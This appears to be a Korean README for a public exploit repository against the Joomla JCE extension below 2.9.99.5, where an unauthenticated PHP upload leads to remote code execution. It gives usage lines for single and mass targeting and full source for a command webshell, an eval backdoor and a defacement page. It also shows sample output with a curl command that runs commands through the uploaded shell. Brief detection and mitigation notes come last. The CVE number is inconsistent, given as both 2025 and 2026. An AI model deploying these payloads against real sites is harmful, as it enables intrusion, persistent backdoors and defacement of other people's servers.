
CVE-2025-48907 - Joomla JCE < 2.9.99.5에 대한 인증되지 않은 RCE 익스플로잇
Joomla! JCE 확장 프로그램 2.9.99.5 미만 - 인증되지 않은 임의 PHP 파일 업로드 및 원격 코드 실행
http.component:"Joomla"
app="Joomla"
이 저장소는 CVE-2026-48907에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이는 Joomla! JCE (Joomla Content Editor) 확장 프로그램 버전 2.9.99.5 미만에서 발생하는 심각한 취약점입니다. 이 취약점은 인증되지 않은 공격자가 JCE 프로필 가져오기 기능을 통해 임의의 PHP 파일을 업로드할 수 있게 하여 원격 코드 실행(RCE) 으로 이어집니다.
이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다.
- 소유하고 있거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.
- 저자는 오용 또는 불법 활동에 대해 책임을 지지 않습니다.
- 테스트 전에 항상 적절한 승인을 받으십시오.
index.php?option=com_jce&task=profiles.import)을 악용합니다./tmp/ 디렉터리에 배치되며 직접 접근을 통해 실행될 수 있습니다.# 저장소 클론
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# 필요한 종속성 설치
pip3 install requests urllib3
requests 라이브러리urllib3 라이브러리python3 CVE-2025-48907.py -u <타겟_URL> -F <업로드할_PHP_파일>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* -u 또는 -f 중 하나를 반드시 제공해야 합니다
targets.txt 파일을 한 줄에 하나의 URL로 생성합니다:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# 주석은 무시됩니다
https://example-joomla.com
모든 페이로드는 PHP 파일이어야 합니다. 익스플로잇이 서버에서 실행될 PHP 코드를 업로드하기 때문입니다.
shell.php 생성:
<?php
// 간단한 PHP 웹 셸
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "사용법: ?cmd=명령어";
}
?>
deface.php 생성:
<?php
// PHP 디페이스 페이지
echo '<!DOCTYPE html>
<html>
<head>
<title>0xgh057r3c0n에 의해 해킹됨</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>0xgh057r3c0n에 의해 해킹됨</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>보안은 제품이 아니라 과정입니다.</p>
<p>서버: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>시간: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
backdoor.php 생성:
<?php
// 최소 PHP 백도어
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE 확장 프로그램 2.9.99.5 미만 인증되지 않은 RCE
작성자 : 0xgh057r3c0n (PHP 파일 업로드)
[*] 타겟 3개 로드됨
[*] 타겟 1/3
[*] ==================================================
[+] 타겟: http://target-joomla.com
[+] CSRF 토큰 가져오는 중...
[+] CSRF 토큰: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] PHP 파일 업로드 중: cve-2026-48907-1234.xml.php
[+] 프로필이 성공적으로 가져와졌습니다!
[+] 업로드된 PHP 파일 테스트 중...
============================================================
[!!!!!] PHP 파일이 성공적으로 업로드되었습니다!
[!!!!!] 서버가 CVE-2025-48907에 취약합니다!
============================================================
[+] 업로드된 PHP 파일 보기: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] 빠른 접근:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/ 디렉터리에서 의심스러운 PHP 파일 확인index.php?option=com_jce&task=profiles.import 요청 확인/tmp/ 디렉터리에서 .xml.php 확장자를 가진 파일 확인/tmp/ 디렉터리에서 비정상적인 PHP 실행 모니터링JCE 확장 프로그램 업데이트:
임시 해결 방법:
/tmp/ 디렉터리에서 PHP 실행 제한allow_url_fopen 비활성화침해 후 조치:
/tmp/에서 업로드된 PHP 파일 제거이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하십시오.
기여는 환영합니다! Pull Request를 자유롭게 제출해 주십시오.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)이 도구가 유용하다면, GitHub에서 ⭐를 눌러 주시기 바랍니다!
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-48907 |
| 제품 | Joomla! JCE 확장 프로그램 |
| 영향을 받는 버전 | 2.9.99.5 미만 |
| 취약점 유형 | 인증되지 않은 PHP 파일 업로드 → RCE |
| CVSS 점수 | 9.8 (심각) |
| 공격 벡터 | 네트워크 |
| 인증 | 필요 없음 |
| 영향 | 완전한 시스템 손상 |
| 인수 | 필수 | 설명 |
|---|
-u, --url | 예* | 단일 타겟 URL (예: http://target.com) |
-f, --file | 예* | 타겟 URL 목록이 포함된 파일 (한 줄에 하나의 URL) |
-F, --upload-file | 예 | 업로드할 PHP 파일 (셸, 백도어, 디페이스 페이지) |
-v, --verbose | 아니요 | 디버깅을 위한 상세 출력 활성화 |
-o, --output | 아니요 | 성공한 업로드 URL을 파일에 저장 |